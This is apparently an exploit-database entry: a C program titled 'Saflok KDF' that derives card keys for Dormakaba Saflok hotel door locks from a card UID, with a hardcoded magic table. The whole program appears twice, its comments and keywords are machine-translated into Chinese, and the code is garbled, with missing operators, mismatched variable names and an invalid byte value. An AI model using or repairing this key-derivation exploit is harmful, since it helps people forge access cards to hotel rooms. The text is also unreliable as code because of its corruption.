//利用标题: Saflok KDF
//日期: 2023-10-29
//剥削作者: A51199DEEFA2C2520CEA24F746D899CE
//供应商homepage: https://www.dormakaba.com/
//版本:系统6000
//在: Dormakaba Saflok卡上测试
//CVE: N/A。
#include stdio.h
#include stdint.h
#Define Magic_table_size 192
#define key_length 6
#define uid_length 4
int main(int argc,char *argv []){
如果(argc!=2){
printf('用法:%s 32位UID值以十六进制格式\ n',argv [0]);
返回1;
}
uint8_t magic_table [magic_table_size]={
0x00,0x00,0xaa,0x00,0x00,0x00,0xf0,0x57,0xb3,0x9e,0x9e,0xe3,0xd8,0xd8,
0x00,0x00,0xaa,0x00,0x00,0x00,0x96,0x9d,0x95,0x95,0x4a,0x4a,0xc1,0x57,0x57,0x57,
0x00,0x00,0xaa,0x00,0x00,0x00,0x8f,0x43,0x58,0x0d,0x0d,0x2c,0x9d,
0x00,0x00,0xaa,0x00,0x00,0x00,0xff,0xff,0xcc,0xe0,0x05,0x05,0x0c,0x43,0x43,0x43,
0x00,0x00,0xaa,0x00,0x00,0x00,0x34,0x1b,0x15,0xa6,0xa6,0x90,0xccc,0xcc,
0x00,0x00,0xaa,0x00,0x00,0x00,0x89,0x58,0x56,0x12,0x12,0xe7,0x1b,0x1b,
0x00,0x00,0xaa,0x00,0x00,0x00,0xbb,0x74,0xb0,0x95,0x95,0x36,0x58,0x58,0x58,
0x00,0x00,0xaa,0x00,0x00,0x00,0xfb,0x97,0x97,0xf8,0x4b,0x4b,0x5b,0x74,0x74,0x74,0x74,
0x00,0x00,0xaa,0x00,0x00,0x00,0xc9,0xd1,0x88,0x35,0x35,0x9f,0x92,0x92,0x92,
0x00,0x00,0xaa,0x00,0x00,0x00,0x8f,0x92,0xe9,0x7f,0x7f,0x58,0x97,0x97,0x97,
0x00,0x00,0xaa,0x00,0x00,0x00,0x16,0x6c,0xa2,0xB0,0xB0,0x9f,0xd1,0xd1,
0x00,0x00,0xaa,0x00,0x00,0x00,0x27,0xdd,0x93,0x10,0x10,0x1c,0x6c,0x6c,
0x00,0x00,0xaa,0x00,0x00,0x00,0xda,0x3e,0x3e,0x3f,0xd6,0x49,0xdd,0xdd,
0x00,0x00,0xaa,0x00,0x00,0x00,0x58,0xdd,0xd,0xed,0x07,0x8e,0x3e,0x3e,
0x00,0x00,0xaa,0x00,0x00,0x00,0x5c,0xd0,0x05,0x05,0xcf,0xd9,0x07,0x07,0x07,
0x00,0x00,0xaa,0x00,0x00,0x00,0x11,0x8d,0xD0,0x01,0x87,0xd0
};
uint8_t uid [uid_length];
SSCANF(argv [1],'%2HHX%2HHX%2HHx%2HHX',UID [0],UID [1],UID [2],UID [3]);
uint8_t magic_byte=(uid [3] 4) +(uid [2] 4) +(uid [0]0x0f);
uint8_t magical_index=(Magic_byte0x0f) * 12 + 11;
uint8_t key [key_length]={magic_byte,uid [0],uid [1],uid [2],uid [3],magic_byte};
uint8_t crand_sum=0;
for(int i=key_length-1; i=0 magical_index=0; i-,magical_index--){
uint16_t键=键 + magic_table [magickal_index];
键=(Keysum0xff) + crand_sum;
carry_sum=按键8;
}
printf('生成的key:');
for(int i=0; i key_length; i ++){
printf('%02X',key );
}
printf('\ n');
返回0;
}
//日期: 2023-10-29
//剥削作者: A51199DEEFA2C2520CEA24F746D899CE
//供应商homepage: https://www.dormakaba.com/
//版本:系统6000
//在: Dormakaba Saflok卡上测试
//CVE: N/A。
#include stdio.h
#include stdint.h
#Define Magic_table_size 192
#define key_length 6
#define uid_length 4
int main(int argc,char *argv []){
如果(argc!=2){
printf('用法:%s 32位UID值以十六进制格式\ n',argv [0]);
返回1;
}
uint8_t magic_table [magic_table_size]={
0x00,0x00,0xaa,0x00,0x00,0x00,0xf0,0x57,0xb3,0x9e,0x9e,0xe3,0xd8,0xd8,
0x00,0x00,0xaa,0x00,0x00,0x00,0x96,0x9d,0x95,0x95,0x4a,0x4a,0xc1,0x57,0x57,0x57,
0x00,0x00,0xaa,0x00,0x00,0x00,0x8f,0x43,0x58,0x0d,0x0d,0x2c,0x9d,
0x00,0x00,0xaa,0x00,0x00,0x00,0xff,0xff,0xcc,0xe0,0x05,0x05,0x0c,0x43,0x43,0x43,
0x00,0x00,0xaa,0x00,0x00,0x00,0x34,0x1b,0x15,0xa6,0xa6,0x90,0xccc,0xcc,
0x00,0x00,0xaa,0x00,0x00,0x00,0x89,0x58,0x56,0x12,0x12,0xe7,0x1b,0x1b,
0x00,0x00,0xaa,0x00,0x00,0x00,0xbb,0x74,0xb0,0x95,0x95,0x36,0x58,0x58,0x58,
0x00,0x00,0xaa,0x00,0x00,0x00,0xfb,0x97,0x97,0xf8,0x4b,0x4b,0x5b,0x74,0x74,0x74,0x74,
0x00,0x00,0xaa,0x00,0x00,0x00,0xc9,0xd1,0x88,0x35,0x35,0x9f,0x92,0x92,0x92,
0x00,0x00,0xaa,0x00,0x00,0x00,0x8f,0x92,0xe9,0x7f,0x7f,0x58,0x97,0x97,0x97,
0x00,0x00,0xaa,0x00,0x00,0x00,0x16,0x6c,0xa2,0xB0,0xB0,0x9f,0xd1,0xd1,
0x00,0x00,0xaa,0x00,0x00,0x00,0x27,0xdd,0x93,0x10,0x10,0x1c,0x6c,0x6c,
0x00,0x00,0xaa,0x00,0x00,0x00,0xda,0x3e,0x3e,0x3f,0xd6,0x49,0xdd,0xdd,
0x00,0x00,0xaa,0x00,0x00,0x00,0x58,0xdd,0xd,0xed,0x07,0x8e,0x3e,0x3e,
0x00,0x00,0xaa,0x00,0x00,0x00,0x5c,0xd0,0x05,0x05,0xcf,0xd9,0x07,0x07,0x07,
0x00,0x00,0xaa,0x00,0x00,0x00,0x11,0x8d,0xD0,0x01,0x87,0xd0
};
uint8_t uid [uid_length];
SSCANF(argv [1],'%2HHX%2HHX%2HHx%2HHX',UID [0],UID [1],UID [2],UID [3]);
uint8_t magic_byte=(uid [3] 4) +(uid [2] 4) +(uid [0]0x0f);
uint8_t magical_index=(Magic_byte0x0f) * 12 + 11;
uint8_t key [key_length]={magic_byte,uid [0],uid [1],uid [2],uid [3],magic_byte};
uint8_t crand_sum=0;
for(int i=key_length-1; i=0 magical_index=0; i-,magical_index--){
uint16_t键=键 + magic_table [magickal_index];
键=(Keysum0xff) + crand_sum;
carry_sum=按键8;
}
printf('生成的key:');
for(int i=0; i key_length; i ++){
printf('%02X',key );
}
printf('\ n');
返回0;
}